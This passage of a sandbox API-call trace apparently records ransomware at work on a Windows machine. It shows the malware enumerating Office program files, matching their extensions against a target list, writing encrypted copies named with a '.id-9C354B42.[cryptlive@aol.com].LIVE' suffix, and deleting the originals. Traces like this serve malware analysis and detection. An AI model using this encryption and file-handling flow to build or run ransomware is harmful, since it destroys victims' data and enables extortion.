(lpString=".zip") returned 4 [0149.855] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.855] lstrlenW (lpString=".rar") returned 4 [0149.856] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.856] lstrlenW (lpString=".bz2") returned 4 [0149.856] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.856] lstrlenW (lpString=".7z") returned 3 [0149.856] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0149.856] lstrlenW (lpString=".dbf") returned 4 [0149.856] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0149.856] lstrlenW (lpString=".1cd") returned 4 [0149.856] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0149.856] lstrlenW (lpString=".jpg") returned 4 [0149.856] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0149.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0149.856] lstrlenW (lpString=".doc") returned 4 [0149.856] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.856] lstrlenW (lpString=".docx") returned 5 [0149.856] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0149.856] lstrlenW (lpString=".pdf") returned 4 [0149.856] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.856] lstrlenW (lpString=".xls") returned 4 [0149.856] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.856] lstrlenW (lpString=".xlsx") returned 5 [0149.856] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0149.856] lstrlenW (lpString=".ppt") returned 4 [0149.856] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.856] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0149.856] lstrlenW (lpString=".zip") returned 4 [0149.856] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.856] lstrlenW (lpString=".rar") returned 4 [0149.856] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.856] lstrlenW (lpString=".bz2") returned 4 [0149.857] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.857] lstrlenW (lpString=".7z") returned 3 [0149.857] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0149.857] lstrlenW (lpString=".dbf") returned 4 [0149.857] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0149.857] lstrlenW (lpString=".1cd") returned 4 [0149.857] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.857] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHLTS.DLL") returned 61 [0149.857] lstrlenW (lpString=".jpg") returned 4 [0149.857] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.857] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0149.857] lstrlenW (lpString="AUDIOSEARCHMAIN.DLL") returned 19 [0149.857] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0149.858] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=1667960) returned 1 [0149.858] CloseHandle (hObject=0x380) returned 1 [0149.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll")) returned 0x20 [0149.858] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.858] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchmain.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0149.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0149.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0149.858] lstrlenW (lpString=".doc") returned 4 [0149.858] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.858] lstrlenW (lpString=".docx") returned 5 [0149.858] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0149.858] lstrlenW (lpString=".pdf") returned 4 [0149.858] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.858] lstrlenW (lpString=".xls") returned 4 [0149.858] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.858] lstrlenW (lpString=".xlsx") returned 5 [0149.858] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0149.858] lstrlenW (lpString=".ppt") returned 4 [0149.858] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.858] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0149.858] lstrlenW (lpString=".zip") returned 4 [0149.859] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.859] lstrlenW (lpString=".rar") returned 4 [0149.859] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.859] lstrlenW (lpString=".bz2") returned 4 [0149.859] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.859] lstrlenW (lpString=".7z") returned 3 [0149.859] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0149.859] lstrlenW (lpString=".dbf") returned 4 [0149.859] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0149.859] lstrlenW (lpString=".1cd") returned 4 [0149.859] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0149.859] lstrlenW (lpString=".jpg") returned 4 [0149.859] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0149.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0149.859] lstrlenW (lpString=".doc") returned 4 [0149.859] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.859] lstrlenW (lpString=".docx") returned 5 [0149.859] lstrcmpiW (lpString1=".docx", lpString2="N.DLL") returned -1 [0149.859] lstrlenW (lpString=".pdf") returned 4 [0149.859] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.859] lstrlenW (lpString=".xls") returned 4 [0149.859] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.859] lstrlenW (lpString=".xlsx") returned 5 [0149.859] lstrcmpiW (lpString1=".xlsx", lpString2="N.DLL") returned -1 [0149.859] lstrlenW (lpString=".ppt") returned 4 [0149.859] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.859] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0149.859] lstrlenW (lpString=".zip") returned 4 [0149.859] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.859] lstrlenW (lpString=".rar") returned 4 [0149.859] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.860] lstrlenW (lpString=".bz2") returned 4 [0149.860] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.860] lstrlenW (lpString=".7z") returned 3 [0149.860] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0149.860] lstrlenW (lpString=".dbf") returned 4 [0149.860] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0149.860] lstrlenW (lpString=".1cd") returned 4 [0149.860] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.860] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHMAIN.DLL") returned 62 [0149.860] lstrlenW (lpString=".jpg") returned 4 [0149.860] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.860] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0149.860] lstrlenW (lpString="AUDIOSEARCHSAPIFE.DLL") returned 21 [0149.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0149.861] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=2242968) returned 1 [0149.861] CloseHandle (hObject=0x380) returned 1 [0149.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll")) returned 0x20 [0149.861] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0149.861] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\audiosearchsapife.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0 [0149.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0149.862] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0149.862] lstrlenW (lpString=".doc") returned 4 [0149.862] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.862] lstrlenW (lpString=".docx") returned 5 [0149.862] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0149.862] lstrlenW (lpString=".pdf") returned 4 [0149.862] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.863] lstrlenW (lpString=".xls") returned 4 [0149.863] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.863] lstrlenW (lpString=".xlsx") returned 5 [0149.863] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0149.863] lstrlenW (lpString=".ppt") returned 4 [0149.863] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0149.863] lstrlenW (lpString=".zip") returned 4 [0149.863] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.863] lstrlenW (lpString=".rar") returned 4 [0149.863] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.863] lstrlenW (lpString=".bz2") returned 4 [0149.863] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.863] lstrlenW (lpString=".7z") returned 3 [0149.863] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0149.863] lstrlenW (lpString=".dbf") returned 4 [0149.863] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0149.863] lstrlenW (lpString=".1cd") returned 4 [0149.863] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0149.863] lstrlenW (lpString=".jpg") returned 4 [0149.863] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0149.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0149.863] lstrlenW (lpString=".doc") returned 4 [0149.863] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0149.863] lstrlenW (lpString=".docx") returned 5 [0149.863] lstrcmpiW (lpString1=".docx", lpString2="E.DLL") returned -1 [0149.863] lstrlenW (lpString=".pdf") returned 4 [0149.863] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0149.863] lstrlenW (lpString=".xls") returned 4 [0149.863] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0149.863] lstrlenW (lpString=".xlsx") returned 5 [0149.863] lstrcmpiW (lpString1=".xlsx", lpString2="E.DLL") returned -1 [0149.864] lstrlenW (lpString=".ppt") returned 4 [0149.864] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0149.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0149.864] lstrlenW (lpString=".zip") returned 4 [0149.864] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0149.864] lstrlenW (lpString=".rar") returned 4 [0149.864] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0149.864] lstrlenW (lpString=".bz2") returned 4 [0149.864] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0149.864] lstrlenW (lpString=".7z") returned 3 [0149.864] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0149.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0149.976] lstrlenW (lpString=".dbf") returned 4 [0149.976] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0149.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0149.976] lstrlenW (lpString=".1cd") returned 4 [0149.976] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0149.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\AUDIOSEARCHSAPIFE.DLL") returned 64 [0149.976] lstrlenW (lpString=".jpg") returned 4 [0149.976] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0149.976] lstrcmpiW (lpString1=".man", lpString2=".LIVE") returned 1 [0149.976] lstrlenW (lpString="BCSEvents.man") returned 13 [0149.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0149.990] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=36177) returned 1 [0149.990] CloseHandle (hObject=0x3a8) returned 1 [0149.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man")) returned 0x20 [0149.990] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0150.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0150.143] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.143] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.143] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0150.144] GetLastError () returned 0x0 [0150.144] ReadFile (in: hFile=0x39c, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x8d51, lpOverlapped=0x0) returned 1 [0150.300] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0x8d60, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0x8d60, lpOverlapped=0x0) returned 1 [0150.302] ReadFile (in: hFile=0x39c, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0150.302] WriteFile (in: hFile=0x1ec, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xee, lpOverlapped=0x0) returned 1 [0150.302] SetEndOfFile (hFile=0x1ec) returned 1 [0150.302] CloseHandle (hObject=0x1ec) returned 1 [0150.302] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.302] SetEndOfFile (hFile=0x39c) returned 1 [0150.305] CloseHandle (hObject=0x39c) returned 1 [0150.305] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0150.306] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man" (normalized: "c:\\program files\\microsoft office\\office14\\bcsevents.man")) returned 1 [0150.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0150.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0150.307] lstrlenW (lpString=".doc") returned 4 [0150.307] lstrcmpiW (lpString1=".doc", lpString2=".man") returned -1 [0150.307] lstrlenW (lpString=".docx") returned 5 [0150.307] lstrcmpiW (lpString1=".docx", lpString2="s.man") returned -1 [0150.307] lstrlenW (lpString=".pdf") returned 4 [0150.307] lstrcmpiW (lpString1=".pdf", lpString2=".man") returned 1 [0150.307] lstrlenW (lpString=".xls") returned 4 [0150.307] lstrcmpiW (lpString1=".xls", lpString2=".man") returned 1 [0150.307] lstrlenW (lpString=".xlsx") returned 5 [0150.307] lstrcmpiW (lpString1=".xlsx", lpString2="s.man") returned -1 [0150.307] lstrlenW (lpString=".ppt") returned 4 [0150.307] lstrcmpiW (lpString1=".ppt", lpString2=".man") returned 1 [0150.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0150.307] lstrlenW (lpString=".zip") returned 4 [0150.307] lstrcmpiW (lpString1=".zip", lpString2=".man") returned 1 [0150.307] lstrlenW (lpString=".rar") returned 4 [0150.307] lstrcmpiW (lpString1=".rar", lpString2=".man") returned 1 [0150.307] lstrlenW (lpString=".bz2") returned 4 [0150.307] lstrcmpiW (lpString1=".bz2", lpString2=".man") returned -1 [0150.307] lstrlenW (lpString=".7z") returned 3 [0150.307] lstrcmpiW (lpString1=".7z", lpString2="man") returned -1 [0150.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0150.307] lstrlenW (lpString=".dbf") returned 4 [0150.307] lstrcmpiW (lpString1=".dbf", lpString2=".man") returned -1 [0150.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0150.307] lstrlenW (lpString=".1cd") returned 4 [0150.307] lstrcmpiW (lpString1=".1cd", lpString2=".man") returned -1 [0150.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0150.307] lstrlenW (lpString=".jpg") returned 4 [0150.307] lstrcmpiW (lpString1=".jpg", lpString2=".man") returned -1 [0150.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0150.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0150.307] lstrlenW (lpString=".doc") returned 4 [0150.308] lstrcmpiW (lpString1=".doc", lpString2=".man") returned -1 [0150.308] lstrlenW (lpString=".docx") returned 5 [0150.308] lstrcmpiW (lpString1=".docx", lpString2="s.man") returned -1 [0150.308] lstrlenW (lpString=".pdf") returned 4 [0150.308] lstrcmpiW (lpString1=".pdf", lpString2=".man") returned 1 [0150.308] lstrlenW (lpString=".xls") returned 4 [0150.308] lstrcmpiW (lpString1=".xls", lpString2=".man") returned 1 [0150.308] lstrlenW (lpString=".xlsx") returned 5 [0150.308] lstrcmpiW (lpString1=".xlsx", lpString2="s.man") returned -1 [0150.308] lstrlenW (lpString=".ppt") returned 4 [0150.308] lstrcmpiW (lpString1=".ppt", lpString2=".man") returned 1 [0150.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0150.308] lstrlenW (lpString=".zip") returned 4 [0150.308] lstrcmpiW (lpString1=".zip", lpString2=".man") returned 1 [0150.308] lstrlenW (lpString=".rar") returned 4 [0150.308] lstrcmpiW (lpString1=".rar", lpString2=".man") returned 1 [0150.308] lstrlenW (lpString=".bz2") returned 4 [0150.308] lstrcmpiW (lpString1=".bz2", lpString2=".man") returned -1 [0150.308] lstrlenW (lpString=".7z") returned 3 [0150.308] lstrcmpiW (lpString1=".7z", lpString2="man") returned -1 [0150.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0150.308] lstrlenW (lpString=".dbf") returned 4 [0150.308] lstrcmpiW (lpString1=".dbf", lpString2=".man") returned -1 [0150.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0150.308] lstrlenW (lpString=".1cd") returned 4 [0150.308] lstrcmpiW (lpString1=".1cd", lpString2=".man") returned -1 [0150.308] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSEvents.man") returned 56 [0150.308] lstrlenW (lpString=".jpg") returned 4 [0150.308] lstrcmpiW (lpString1=".jpg", lpString2=".man") returned -1 [0150.308] lstrcmpiW (lpString1=".BDR", lpString2=".LIVE") returned -1 [0150.308] lstrlenW (lpString="MSART12.BDR") returned 11 [0150.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0150.991] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x328ff1c | out: lpFileSize=0x328ff1c*=58756) returned 1 [0150.991] CloseHandle (hObject=0x3a4) returned 1 [0150.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr")) returned 0x20 [0150.991] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0150.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0150.991] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.991] SetFilePointerEx (in: hFile=0x3a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x328fec8 | out: lpNewFilePointer=0x0) returned 1 [0150.991] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0150.992] GetLastError () returned 0x0 [0150.992] ReadFile (in: hFile=0x3a4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0xe584, lpOverlapped=0x0) returned 1 [0151.041] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ed0020*, nNumberOfBytesToWrite=0xe590, lpNumberOfBytesWritten=0x328fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesWritten=0x328fc9c*=0xe590, lpOverlapped=0x0) returned 1 [0151.043] ReadFile (in: hFile=0x3a4, lpBuffer=0x3ed0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x328fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ed0020*, lpNumberOfBytesRead=0x328fed4*=0x0, lpOverlapped=0x0) returned 1 [0151.043] WriteFile (in: hFile=0x2f8, lpBuffer=0x3ed0020*, 